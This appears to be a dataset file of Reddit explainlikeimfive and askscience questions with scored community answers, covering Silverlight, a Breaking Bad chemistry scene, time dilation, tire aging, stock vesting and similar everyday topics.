{"q_id": "j7fed", "title": "what is silverlight and what does it do?", "selftext": "I ran across it on Netflix and wondered what it was.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j7fed/eli5_what_is_silverlight_and_what_does_it_do/", "answers": {"a_id": ["c29rxo4", "c29s3p5", "c29rxo4", "c29s3p5"], "score": [8, 5, 8, 5], "text": ["Silverlight is a virtual machine  using Microsoft's .Net Framework to run programs ( in Netflix's case the program is a video player).\nTo simplify this think of your computer, and by extension your web browser (Firefox,IE,Chrome,etc) as a TV. Now imagine that you want to watch satellite TV. Your TV cant pick up the satellite signals on its own. It needs the dish and the the receiver to understand the signals and show you what's going on. Silverlight is taking the \"signal\" (data) form the air(internet) and decoding it for your TV(computer/browser). Netflix uses it to prevent the video data from ever actually being directly on your computer (so you can't steal the movies). ", "Well, do you know what Adobe Flash is?\n\nSame premise, different company.", "Silverlight is a virtual machine  using Microsoft's .Net Framework to run programs ( in Netflix's case the program is a video player).\nTo simplify this think of your computer, and by extension your web browser (Firefox,IE,Chrome,etc) as a TV. Now imagine that you want to watch satellite TV. Your TV cant pick up the satellite signals on its own. It needs the dish and the the receiver to understand the signals and show you what's going on. Silverlight is taking the \"signal\" (data) form the air(internet) and decoding it for your TV(computer/browser). Netflix uses it to prevent the video data from ever actually being directly on your computer (so you can't steal the movies). ", "Well, do you know what Adobe Flash is?\n\nSame premise, different company."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "wsdsi", "title": "In season one of Breaking Bad, Walter throws mercury fulminate and causes an explosion in which nobody was harmed. How accurate was that particular scene? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wsdsi/in_season_one_of_breaking_bad_walter_throws/", "answers": {"a_id": ["c5g1fbb", "c5g513m", "c5g5eve"], "score": [26, 17, 12], "text": ["It's highly implausible and here's an article that talks about why.\n\n _URL_0_", "I am certainly not a chemist - just have a freshman uni class; I know next to nothing about fulminates. I also know AskSci has a justifiably jaundiced view of anecdotal evidence, but my first-hand story is quite relevant to the topic.\n\nI'm a motion picture property master. (Coincidentally, I've even worked for Vince Gilligan, the show's creator and Exec, but that doesn't enter into the story.) Among many other things, I'm responsible for providing actors' rings and watches, and any jewelry used as a story point or to move the plot along.\n\nSeveral years ago, one night at about 11 PM, I was in the workshop of an old and experienced custom jeweller. It was on the 3rd floor of a very old stone building; several other custom jewellers also had workshops there.\n\nMy jeweller had been an important contact for many years. On this night, he was producing a large and complex rush order of pendants for me. I was at his shop late because they were playing first thing next morning, so I needed them in my hand before I knocked off, and a few things had delayed their completion. While Harry was setting the last stones, I was working at the buffing wheel, just so we could get out of there. For a propmaster, pitching in at a supplier's, at midnight, often comes with the territory.\n\nAs we worked, we heard a muffled thump, and saw a lot of glass fall past the window onto the street below. We looked at each other and said, \"What the hell was that?\" Then we heard a godawful noise from the hall leading to the shop. Seeing nothing untoward on the monitor, we opened up - it took a while, being low-tech, high-security. When we checked the corridor, we saw a man crawling down the hall, using his hands to orient himself to the wall. His face and shoulders were a bloody mess.  Not quite \"Gus-after-the-explosion\", but getting there; pieces missing. There were smears down the old stairway and all along the wall and floor. He was hollering like hell. My guy recognized him as a young jeweller who had recently moved into the shop directly above his. We got him sitting down, and while Harry attended to his airway, I called 911. The guy looked like he'd been shotgunned, so I assumed he'd been robbed, and I asked for police on a possible 10-72 (firearm present), as well as an ambulance.\n\nWhen the cops came, we took them upstairs, where the injured man's shop lay wide open. It was a wreck. Small bits of stuff were embedded deep in the plaster walls. Broken glass everywhere. Explosion, clearly. Not as big as \"Tuco's office\", but a significantly destructive boom, enough to demolish most of a room of about 600 square feet. If it hadn't had windows, a wall *might* have come down. But nothing was burning, and the large  safe was intact. I gave my statement and numbers to the police, grabbed my nearly-done pendants and split. Harry stayed on because he had much more info for the police.\n\nI got the story two days later, when I called to hear what had happened. Turns out Harry, the old hand, had recently demonstrated to the young jeweller how to use mercury fulminate to flash-plate jewelry findings and stuff. Although he emphasized how dangerous it was, and that the young guy should only do it under supervision until he learned what he was doing, he had tried it on his own anyway. Got the mix *and* the volume wrong. Blew his shop to hell. \n\nFound out even later that they saved his jaw, but he lost a retina and half his tongue, and was in the hospital for two weeks. Of course, by the time he got out, the landlord had evicted him. Harry picked his stuff up from the alley and stored it, but that was the end of the guy's career as a jeweller, I guess.\n\n**TL/DR:** Mercury fulminate. Serious fucking stuff.", "Also, before he leaves, he states that it is mercury fulminate with a little chemistry tweak. So I'm guessing that it wasn't all mercury fulminate. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.explosci.com/mercury-fulminate/"], [], []]}
{"q_id": "3z6k0w", "title": "why don't us postal workers go on shooting sprees any more?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3z6k0w/eli5_why_dont_us_postal_workers_go_on_shooting/", "answers": {"a_id": ["cyjlozn"], "score": [5], "text": ["The USPS has been paying a lot more attention to such things since the rash of postal shootings that began in the mid-80s. There are far more stress management classes (a coworker of mine used to teach them)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "68nq38", "title": "what's the difference between us and uk language settings?", "selftext": "I see these different English settings on devices and sites all the time but I never could tell what the difference was. Is it just some words spelled differently or is there something I'm missing?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/68nq38/eli5_whats_the_difference_between_us_and_uk/", "answers": {"a_id": ["dgzurom", "dgzwhnm"], "score": [7, 58], "text": ["It'll change the input of the keyboard. Since US and UK keyboards have different physical layouts you can change the input setting to whichever you're using.\n\nSo if you have a US keyboard but the UK setting you might press the @ key on the keyboard but a ` is typed in.\n\nAlso these kinds of questions are more suited to /r/NoStupidQuestions ", "Depends on where the language settings are used.\n\nIt could influence any of the following:\n\n* Language selection (English vs US English)\n* Keyboard layout (UK QWERTY vs US QWERTY, different placement of special symbols mostly)\n* Date formatting (the UK uses sensible dates, the US uses garbage)\n* Default currency selection and formatting\n* Paper sizes for printers (really! A4 vs US Letter)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6gln1k", "title": "how can a tennis player dominate so consistently over competition on a certain surface: sampras/federer on grass, nadal on clay, etc. ???", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6gln1k/eli5_how_can_a_tennis_player_dominate_so/", "answers": {"a_id": ["dir76xv", "dir9nn8", "dirs2ws"], "score": [13, 20, 9], "text": ["Nadal has superior athleticism which is needed on clay since you slide around a little more.\n\nFederer has superior technical skills. ", "Clay is really slow and so you get longer rallies and so you need to be incredibly fit. Nadal is one of the fittest tennis players in the game.\n\nGrass is really fast so it's all about accuracy to place the ball out of reach and/or big serves. Sampras probably had the best serve ever and Federer is probably the most accurate tennis player there has ever been (Federer's even better indoors where there's no wind and so he can place the ball to within millimetres).\n\nHard court is somewhere in between.", "Different surfaces favour different types of players, due to how the ball bounces off the surface. \n\nOn grass, the ball bounces mostly fast and low, so the rallies are short. It tends to favour the more powerful serve-and-volley type players who can close a point quickly. \n\nOn clay, the ball bounces slower and \"gentler\", so the rallies tend to be longer. So it tends to favour fitter, more patient, or scrapping players who can constantly keep getting the ball back and drag the point out. The serve-and-volley types don't do as well because pure power isn't as effective on clay.\n\nHard court is kind of somewhere in between, so tends to favour people with more of an 'all round' game. \n\nThis is why winning the Grand Slam is such an achievement. It's not just \"beating everyone else four times\", it's doing it on surfaces that are markedly different, and that test every aspect of your all-round game."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9zbnel", "title": "why do small animals stop struggling after a while of being caught by humans?", "selftext": "Are they tired other do the give up or is it something else?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9zbnel/eli5_why_do_small_animals_stop_struggling_after_a/", "answers": {"a_id": ["ea85kwr", "ea8b5h6"], "score": [15, 5], "text": ["Tired perhaps. Also playing dead is a tactic, some predators lose interest, others won't eat carrion because of disease risk.  Maybe just conserving energy in case an opportunity to escape presents itself.", "Say this aloud: *satiation, satiation, satiation, satiation, satiation, satiation, satiation, satiation, satiation, satiation*\n\nNotice how the word starts to lose its meaning? It's called *Semantic Satiation*. The circuit in your brain tied to the word gets drained and tired. The rest of your brain starts to grow less sensitive to the constant triggering of the same circuit. And it stops reacting to it. \n\nThe same effect causes you to not be able to feel your clothes after wearing them a few moments. The pressure signals get satiated and stop reporting. \n\nAnd that's what going on in a small scared animal. The \"panic\" circuit is satiated. \nThey no longer feel threatened. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1glui7", "title": "What effect does time dilation have on communication?", "selftext": "I was thinking about this while watching a Michio Kaku documentary. When he said that time passes differently depending on your position in space, how would one have the capacity to communicate between these two points if the information was recorded at a different time dilation? \n\nIn other words, if the message was recorded at a place where the time dilation is half that of earth's time dilation and was then sent to earth, would the message be different than when recorded?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1glui7/what_effect_does_time_dilation_have_on/", "answers": {"a_id": ["calo91a"], "score": [5], "text": ["Let's take the classic twin paradox, and add a twist (and I'm going to totally steal [Wikipedia's specific choice of variables](_URL_0_)). Twin A wants to go to a star 4 light years away, and his ship can get up to a speed of 0.8*c* via the powers of  < insert preferred *deus ex machina* >  near instantaneously. Twin B who sits on Earth the whole time observes Twin A taking 5 years to get there, 5 years to get back. Twin A observes himself taking 3 years to get there, and 3 year to get back. \n\nNow, here's the modification: Every day, at noon, which is the moment the ship left, reached the star, and came back, each twin beams the other twin a message, with a nice conspicuous clock in the background. \n\nThe first major effect is a signal delay. Everyday, the ship is putting .8 lightdays between itself and Earth. So the 0th messages, sent when the ship did it's speeding up and departure, were sent and received nearly simultaneously. The first message is sent at at t=1 day, and is received at t=1.8 days by both parties. The second message, sent at t=2 days, is received at t=3.6 days (2+0.8*c*x 2). Thus, the third message is sent *before* the second message is received, and the delay between when the message is sent and when it is received is continues to grow. It's the this light-time-delay that prevents us from controlling robots on Mars in real time. It takes time to for the vehicle to receive a signal after we send it, and it takes an equal amount of time for us to get the confirmation signal back once one is sent. And you can see, as distance grows, so too does the light-time-delay, and thus equally spaced messages do not arrive with equal spacing.\n\nThe second relativistic effect is a doppler shifting of the message. The photons used to carry the message while be shifted to lower energies (**edit**: and hence, lower frequencies!) when the spaceship is travelling away from Earth. Both Earth and the ship will perceive the other as having a slowed clock while the distance between them is increasing. Combined, each signal will seem to show that for every hour that passes for the observing twin, only 20 minutes passes for the image twin. Thus, when the ship arrives at it's destination, it's getting the signal that shows Twin B's clock on Earth is displaying 1 year after it departed (think of it this way, to Twin B, each signal gets to the destination 4 years after sending, and the ship gets there in year 5. So the signal that intercepts the ship at the destination is the year 1 signal.), while the on-board clock shows 3 years have elapsed. Because both motions have been inertial to that point, the slowing of clocks is symmetrical: the ship perceives Earth as moving away at 0.8*c*, so when they send their 1 year signal, Earth is 0.8 ly away, and arrives on Earth when the clock strikes 3 years.\n\nThe picture reverse when the ship starts returning. Because it's now flying towards the Earth and it's photons, rather than away, the picture inverts. The photons get blue-shifted, and the light delays decrease. Time in the image appears to pass at 3 times the rate it did for the observer (now 20 minutes of observer time is an hour of image time). This is where the asymmetry creeps in. The ship starts seeing blue-shifted, energizer bunny-esque images at t=3 years for the 3 years of the return. Thus, the ship perceives 3 years of 1/3x speed time on Earth, and 3 years of 3x speed on Earth, for a total of 10 years since departure.\n\nBut when does Earth start getting the faster images? Not until year 9. The ship sends it's year 3 signal at the destination. This signal reaches Earth after the 5 years it takes the ship to travel the distance, plus the 4 years it takes the signal to come home, so year 9. At that point, the earth perceives the speed of time on the ship. The ship takes 3 ship-years to get back to Earth, 1/3 as much time passes, the last message arrives just as the ship does, showing that to twin B on Earth, 10 years have passed, but on the ship, only 6 years (9 at 1/3x speed, 1 at 3x speed) have passed. \n\nOne of my personal favorite ways to think about time dilation is to imagine a simple clock on a spaceship: A photon trapped between two perfect mirrors. The mirrors are a distance L apart, and the clock moves with the spaceship. On the ship, the time *t'* it takes for the light pulse to get from the top mirror to the bottom mirror is simply L/*c*. To an observer outside the ship, moving with velocity *v*, the picture isn't so simple. For simplicity, let's say the axis along which the light travels is perpendicular to *v*. Since the clock is moving, the top mirror and the bottom mirror have moved *vt* from their initial positions when the photon hits the bottom mirror. Thus, the distance travelled isn't simply L, it's (L^(2)+(*vt*)^(2))^(1/2), and the time *t* that takes is  (L^(2)+(*vt*)^(2))^(1/2) /*c*= ((L/*c*)^(2)+(*vt/c*)^(2))^(1/2)=((*t'*)^(2)+(*vt/c*)^(2))^(1/2). Solving for *t*, you can find the equation for time dilation. But, essentially, the distance a light pulse trapped on the ship has to travel increases if there is relative motion between the observer and the pulse. The time it takes the ship to register a bounce (no relative motion) is smaller than the outside observer (with relative motion) because both see the pulse move at the same speed, they just perceive it covering different distances.\n\n**Edit 2**: **TL;DR**: Increasing distances inserts a delay as the signal propagates across the distance. Flying away from each other makes signals appear to occur at lower frequencies (thus events happen slower for the sender than the receiver), and flying towards each other makes signals appear to occur at higher frequencies (thus events happen faster for the sender than the receiver). \n\n**Edit 3**: Important mistake I missed in skimming the question: There are no **absolute** time dilations. Earth does not have a set time dilation. There are only **relative** time dilations between *inertial* reference frames. Part of relativity is that there is no special reference frame that serves as a \"rest\" reference frame for the entire universe. **Any** inertial reference frame perceives physics to behave the same, and can be picked as the \"rest\" frame. Could we tell if spaceship A is headed 0.01*c* to the left of spaceship B and spaceship B is at rest, or spaceship A is going to the left at 0.02*c* while spaceship B heads left at 0.01*c* (ignoring the effects of relativistic velocity additions/subtractions)? Nope. So long as both are inertial frames, either could be at rest, or moving, relative to every other inertial frame. **The Universe *does not* have a special inertial reference frame that sets the clock of the Universe, and to which all other frames have a relative time dilation.**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Twin_Paradox#Specific_example"]]}
{"q_id": "jflzo", "title": "what is the \"hook up culture\"?", "selftext": "Is it for real or is it just a media manufactured myth? What does a \"hook up\" mean? How are most \"hook ups\" formed?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/jflzo/eli5_what_is_the_hook_up_culture/", "answers": {"a_id": ["c2bomai", "c2bomai"], "score": [3, 3], "text": ["... This will be hard to explain like your 5 so it'll be like your mentally 5.\n\nPeople want to have sex. But sometimes their to busy to do all their work, have as much sex as they want and to do the relationship stuff. In university for example \"think\" they are to busy for these things. So what they do is go to parties where everyone is in the same position. There they get meet a guy or a girl and hang out with them. Because everyone at the party knows why other people are there it's less awkward when the guy or the girl says \"I'm to busy to date you but let's have sex.\" This lets people have one night stands with out anyone thinking their a slut or that the relationship will go further.\n\nThe problem with \"hook up culture\" is that \n\n1.) It has existed since the man first left the cave (Actually they were probably doing it in the cave.) And is actually extremely boring. People like to pretend it's not and that this didn't happen in the 90-80-70-60-50-40-30-20, etc and so forth when it did but people may not have been so public about it.\n\n2.) People like to think that it is a really redefined thing which it really isn't. It's mostly people that want sex but don't want to do all the other boyfriend/girlfriend husband/wife stuff.\n\n3.) Most of the time afterwards people are really awkward. People who are good at it may be less awkward but the majority of people are. And will actively avoid the person when they see them again.\n\nSo hookup culture is basically 1 night stand redefined as something else.", "... This will be hard to explain like your 5 so it'll be like your mentally 5.\n\nPeople want to have sex. But sometimes their to busy to do all their work, have as much sex as they want and to do the relationship stuff. In university for example \"think\" they are to busy for these things. So what they do is go to parties where everyone is in the same position. There they get meet a guy or a girl and hang out with them. Because everyone at the party knows why other people are there it's less awkward when the guy or the girl says \"I'm to busy to date you but let's have sex.\" This lets people have one night stands with out anyone thinking their a slut or that the relationship will go further.\n\nThe problem with \"hook up culture\" is that \n\n1.) It has existed since the man first left the cave (Actually they were probably doing it in the cave.) And is actually extremely boring. People like to pretend it's not and that this didn't happen in the 90-80-70-60-50-40-30-20, etc and so forth when it did but people may not have been so public about it.\n\n2.) People like to think that it is a really redefined thing which it really isn't. It's mostly people that want sex but don't want to do all the other boyfriend/girlfriend husband/wife stuff.\n\n3.) Most of the time afterwards people are really awkward. People who are good at it may be less awkward but the majority of people are. And will actively avoid the person when they see them again.\n\nSo hookup culture is basically 1 night stand redefined as something else."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "amqmp2", "title": "what are bomb squad suites designed to do exactly.", "selftext": "I assume they are flame retardant and possibly made of kevlar or other high weave material to prevent shrapnel penetrating. But i also see a bunch of buttons on the side and i assume there is a whole bunch of other cool things designed to protect people. \n\nAlso how effective are they at keeping people safe?  Like.... if a run of the mill pipe bomb goes off, how well would it shield the defuser. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/amqmp2/eli5_what_are_bomb_squad_suites_designed_to_do/", "answers": {"a_id": ["efnukvj", "efnvnw9", "efnwgjm", "efo5eew"], "score": [11, 10, 6, 2], "text": ["Designs vary, but some also include ballistic plates around the head and along the torso with internal shock absorption materials, and the controls to which you may be referring are common for communication and ventilation. Cannot offer anything about their particular ratings. Hope some of this satisfies any curiosity. ", "I think you meant \"Suits\"\n\n\"Suites\" are something else entirely.", "They deal with shrapnel, and cushion the technician in case they get blown back by a blast.  Spreading out the energy is the best protection available.  It is not safe, or fun, to be in a suit when there is an explosion.", "Other comments are right.  It's mostly padding and armor to protect from shrapnel and heat.   The helmet is designed to protect from overpressure from the blast wave (in addition to the other things), by using a forced air ventilation system and protected vents facing to the back.  Some of them have one way valves to aid in reducing the overpressure.  Integrated comms on most all of them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "329dro", "title": "why were attitudes towards drunk driving in north america so careless prior to the early 1980s", "selftext": "Looking at history, it seems like nobody cared until the pendulum swung HARD ca 1981 when Reagan took over and MADD became a big deal. Did people really not care before then? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/329dro/eli5_why_were_attitudes_towards_drunk_driving_in/", "answers": {"a_id": ["cq93vf2"], "score": [2], "text": ["The short answer yes, similar story in the UK just nobody thought it was a big deal.  \n\nHeck in the 70's we even had a huge worldwide hit song, including the US, called 'In the Summer Time' by Mungo Jerry with the immortal line 32 secs in...  \n\"Have a drink have a drive go out and see what you can find.\"  \n_URL_0_\nLoved that song as a kid, kinda ironic in the 80's it was in an anti drink driving advert."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=wvUQcnfwUUM"]]}
{"q_id": "hi8fx", "title": "AskScience AMA Series: IAmA Research Scientist at a Major Chemical Company, AMA", "selftext": "I have a PhD in organic chemistry, with a concentration in organometallic chemistry (Early metals and Lanthanides.) I also did postdoctoral work in biochemistry, anionic polymerization, and synthetic organic chemistry. \n\nI have worked in industry for approximately 7 years, and as a Senior Researcher.  As part of my job function I do basic research, write patents, perform technological analysis, and assist in corporate strategy. \n\nTLDR; I'm an industrial chemist.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hi8fx/askscience_ama_series_iama_research_scientist_at/", "answers": {"a_id": ["c1vl9i5", "c1vle8m", "c1vlgwh", "c1vlsyh", "c1vlucu", "c1vlvi0", "c1vly4o", "c1vly92", "c1vm2rc", "c1vm33p", "c1vm50z", "c1vm5nm", "c1vmbhm", "c1vmf3u", "c1vmfzy", "c1vmjwk", "c1vml6b", "c1vmlqw", "c1vmqqx", "c1vnhyz", "c1vnxbk", "c1vo5j7", "c1vo8sw", "c1vq5my", "c1w90ck"], "score": [13, 7, 6, 8, 6, 5, 3, 3, 5, 9, 3, 2, 2, 2, 2, 3, 5, 4, 2, 2, 2, 2, 2, 2, 2], "text": ["How does working at MCC differ from academia? And why did you chose that route?", "Does any project you are involved with pose a health risk either to the people working on it and the population around your industry?\n\nIf so, how do you manage security and what are the safety procedures employed?", "What about access to journals and all the typical things a university library has?  Do your company have a library?", "What is your company working on that you can't tell us about?", "What's the biggest screwup you've had or seen done?\n\nWas it a hard decision to \"sell out?\"\n\nWhat's the most expensive piece of equipment  you work with?\n\nDo you still publish your findings or is the focus more on patents and the like?", "So, no one has asked this yet:  What's a typical day like?", "Have you or anyone you know worked in a government lab? If so, how would that compare to what you do now? ", "How do you figure out what needs 'researching'?  Do you guys just sit around and come up with things to do?  Or are the research projects handed down to you from some other group?  Whats a typical research project?  \n", "Do you usually do science or paperwork or about 50-50?\n\nWhat do your minions or people under you do?\n\nHow is their job market (third year Chemistry B. S. student here.. not an engineer, afraid I'm gonna be homeless..)?", "I remember you talking about one of the critical asset that one should have coming out of grad-school is a nose for bullshit (in the literature).  I presume you use that quite a bit as the \"unquestioned word of science\".  Can you talk abit more about what kinds of things go through your head when you try to decide if something is BS?  \n\n*edit*: BTW - thanks for taking the time to do the AMA!  I think much of my cohort would find this interesting knowledge.", "3 post-docs for an industry position? o.O   How did you, then with an organometallic bkg., convince someone in biochem to take you under the wings as a post-doc?  Why were you interested in branching out (relatively far) at first place?", "Are you anywhere near Sarnia, Ontario?\n\nA number of years back there was a fire at the lab of a local oil refinery involving aluminum alkyls. I didn't see the fire itself, but did see the aftermath. I don't think they bothered refurbishing the building, just tore it down.\n\nFinally: How much autonomy do you have in your job?", "Is it true that chemistry industry want the people sick so it can sell it more drugs? \n\nAlso, how much money do you make? :)", "What advice would you give someone wanting to pursue chemistry at university with regards to future employability?", "Do you (or others) have any AMA requests (preferably in fields we havent heard from so much)?", "In a different post you talk about the differences in specialization between academic and industry positions. Is there a recognizable turning point in someone's career that limits them to academic positions and if so how can it be avoided?\n\nYou also mention selective firing of older more experienced workers as they generally cost more. What steps can a newer industry worker take to prevent this from happening later on? What milestones can you point out to an aspiring industrial chemist?", "For someone who has no chemistry background beyond freshman chemistry, can you give a simple example of a typical chemical process that you might work on and what aspects of it you try to improve?", "If it wasn't for the truck through the gates, you sound very much like you work at the plant I do, right down to the temps and the levels.  I was thinking of moving out of the midwest, but apparently its the exact same at all the pharma companies, sadface.  Any advice how to jump from quality to r & d?", "How often do you guys break your lab equipment?\nAnd how often do you 'play' in the labs making things for 'experimental' purposes...but really just make stuff to go boom?", "OK, no one else wants to ask...how much do you get paid and how would it compare to an academic position with similar experience?", "Thanks so much for this AMA.  I see the green tags really enjoyed it! ;)", "Is [this](_URL_0_) your work?\n\nJust curious!", "How do you think nanotechnology will impact your future? Obviously the two (chemistry and nanotech) go hand-in-hand. Do you see nanotech, i.e. building complex shapes on an atomic level, as something that some of us will see in our lifetime coming from these chemical companies?", "Thanks for doing the AMA!\n\nDoes your company ever hire any B.S. chemists, or is it only at the Ph.D. level?", "What advice do you have for new chemists who are working in industry but are interested in academia?\n\nI finished my Bachelor's 9 months ago and I've been working in the industry as a QC Chemist for 3 months. The work is a bit mindless and I feel anybody can do my job. Is it a smart move to quit and try for grad school? I feel like my education is being wasted and I will eventually forget my fundamentals. \n\nI have a handful of handicaps, though. I never really formed relationships with my professors (and when I tried, it was too late) and therefore cannot get academic letters of rec, I never did research as an undergrad, I have a BA and not a BS, and my GPA was only a 3.0.\n\nAm I screwed? I definitely cannot work in quality control for my entire life, as I feel a need to learn and expand my knowledge. I feel like my logical choice from this would be to get a job in an industry I enjoy (I do not like my current job), work in QC for an x amount of years, then get promoted to R & D so I can actually use my brain.\n\nI've read your comments in this thread and you provide awesome insight. Any thoughts?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://pubs.acs.org/doi/abs/10.1021/ma034385s"], [], [], []]}
{"q_id": "478yb9", "title": "Could someone explain the technology in todays tires that make them superior to the tires of the 80's and 90's?", "selftext": "Im asking because I bought a car recently. Its in mint condition even though its from 1993. The tires look okay, because they havent been used too much, but they are over 20 years old. I beleive I should get some new tires on it and I've been told that the tire industry has been able to develop better tires with better technology. While I believe this, how have they improved and what difference does it make ?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/478yb9/could_someone_explain_the_technology_in_todays/", "answers": {"a_id": ["d0b8l7m", "d0b9w36", "d0bkuda", "d0bn5ah", "d0bxahf"], "score": [18, 5, 15, 4, 4], "text": ["Tires since then have been made to last much longer, but without doubt the largest innovation has been in the safety department. Around the late 1990's, early 2000's, there was a massive push for tire safety after many people were killed due to the tire exploding whilst driving. At 1993, I doubt the vehicle had tube tires. If it did, the type of tire we use today has a completely different structure. There was also a large push to maximize the fuel efficiency of vehicles, and that also involved engineering tires to allow for higher fuel economy. There is also run flat tires, which allow you to drive a certain number of miles before having to put on a spare. ", "Better compounds are used to today(tires make a molecular bond to the road IIRC), better tread patterns(tires move more water out of the way now and bite into snow better), stronger steel/nylon reinforcements, tires are typically larger now(with better suspension and lower profile sidewalls you get a larger contact patch with the tire staying more in contact with the road more of the time). ", "I'm not 'science', but I used to sell motorcycle tyres (which have always had to do far more than the tyres on the average Toyota).\n\nRadial treads were the first modern innovation: laying interior belts, which could include steel belts (to supplement fabric ones) from about the 1970s, in different directions made the tyre deform less, thus hold its shape, run at a consistent temperature, and generally do its thing without being as affected by centrifugal forces, road surface, bumps etc.\n\nIn the early 1990s manufacturers started using Kevlar belts, with the belt direction more precisely calculated. The designers were no going beyond just fighting deflection and aiming for stability, to tuning the rubber compound (which could be different in different parts of the tyre) to deflect in a calculated and desirable way. This could be used to make the tyre heat up quickly (a cold tyre is dangerous on a motorcycle), but then hold a steady temperature.\n\nA recent development has been silica additive in the rubber, which helps wet weather adhesion and grip generally, without having to necessarily use a soft rubber. So, more tyre life for a given amount of grip.\n\nComputers were now helping design, too. Kevlar was lighter (less circulating mass) and stronger. Some tyres were made not with a fabric sandwich, but with single strands of Kevlar precisely embedded in the rubber.  In the mid-1990s, tyres became much lighter.\n\nFor your car, old rubber goes hard and becomes dangerous.\n\n", "Tires are subject to dry rot. May not be obvious at this point, but they will not be reliable if they are too old. I have had a tire just go flat for not obvious reason and it was just too dry rotted. You can determine the date of mfg by a stamp on the tire. Not necessarily on both side, so assume it on the inside side. Nonetheless it is a 3 or 4 digit number in an elongated oval. If mfg'd before 2000 then there are 3 digits, first two are the week of the year and the third is the year x as in 199x. 2000 on the year is 2 digits xx and natch refer to 20xx.\n\n_URL_0_\n\nYou can look up dry rot if interested. It will appear as cracking and you might have to look close to see.\n", "The reason you should replace the tires if they are original to a 1993 vehicle is not really because the technology has increased but instead because the rubber has a \"shelf life\", it ages simply due to exposure to the oxygen in the air and UV light from sunlight.\n\nMost manufactures recommend that tires be replaced 10 years after they are made regardless of tire wear because of this. So even if the car sat in a garage and wasn't exposed to direct sunlight, 20+ year old tires should be replaced."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.youtube.com/watch?v=ZjRV3hIhIX4"], []]}
{"q_id": "37ixzd", "title": "how does vesting in company shares/stocks work?", "selftext": "I've been working for my company for 3yrs now and at the start of my employment I was granted 30,000 shares that would be vested 25% every year for 4yrs. We have yet to go public. Do I have to buy these shares out of my own pocket once we go public? Or, are they mine once they're vested? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37ixzd/eli5_how_does_vesting_in_company_sharesstocks_work/", "answers": {"a_id": ["crn2rgh"], "score": [2], "text": ["They were given to you over the stated schedule. They are gradually becoming yours. If they were options, then you would have the opportunity to buy them at a set price, called a strike price, which hopefully would be much lower than the price available to the general public at the same moment in time. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2qgj0m", "title": "Why does mayo go clear when left out, or even when left uncovered in the fridge?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2qgj0m/why_does_mayo_go_clear_when_left_out_or_even_when/", "answers": {"a_id": ["cn6dqsf"], "score": [6], "text": ["It's possible for the oil and water components of a mayonnaise to separate. In fact oil and water really don't want to mix, and the \"magic\" of mayo is that the different components are held in suspension together. The mayo is an emulsion of oil, egg yolks, and lemon juice. The lecithin from the egg yolk acts as an emulsifier to hold the oil and water together.\n\nI think there are a number of reasons the mixture could separate - the temperature could change, the water could evaporate and the mixture change slightly (perhaps the change in pH causes the emulsion to break down).\n\nMayonnaise can often be remixed by taking a room temperature egg yolk and slowly adding the broken mayo mixture to it while whisking."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9yg146", "title": "how can intelligence and the ability to learn and retain information be genetic?", "selftext": "Edit: Thank you all for your excellent responses", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9yg146/eli5_how_can_intelligence_and_the_ability_to/", "answers": {"a_id": ["ea11c8y", "ea11vf0", "ea1458c"], "score": [6, 3, 3], "text": ["Genes make proteins, proteins make cells, some cells made of some proteins organized in some ways give rise to intelligence and the ability to learn and retain information. \n\nWe are *nowhere near* figuring out how all this works, specifically. It's quite literally the hardest question anyone has ever asked and we've yet to figure out how a single type of protein can make it stop working despite two of the world's most powerful supercomputers having worked on it for years. ", "Our understanding of this is still incredibly primitive. To date we still have not grown a human outside of a flesh and blood womb. This means that we don't have a full appreciation of everything that is passed from mother to embryo / baby during the many months in the womb. In other words we are more than merely the result of sperm meets egg. There is a developing field of Transgenerational Epigenetic Inheritance which looks at ways that information may be passed on from mother to baby including various forms of RNA transmission. Earlier this year UCLA scientists claimed to have been able to transplant memory between snails using RNA.", "Genetics define the structures present in a person. They\u2019re like a blueprint.\n\nYour question is a bit like asking: \u2018How can processing power and data storage in a computer be defined by engineering blueprints?\u2019\n\nThe procedure for making a thing, combined with errors and defects, define it\u2019s properties. 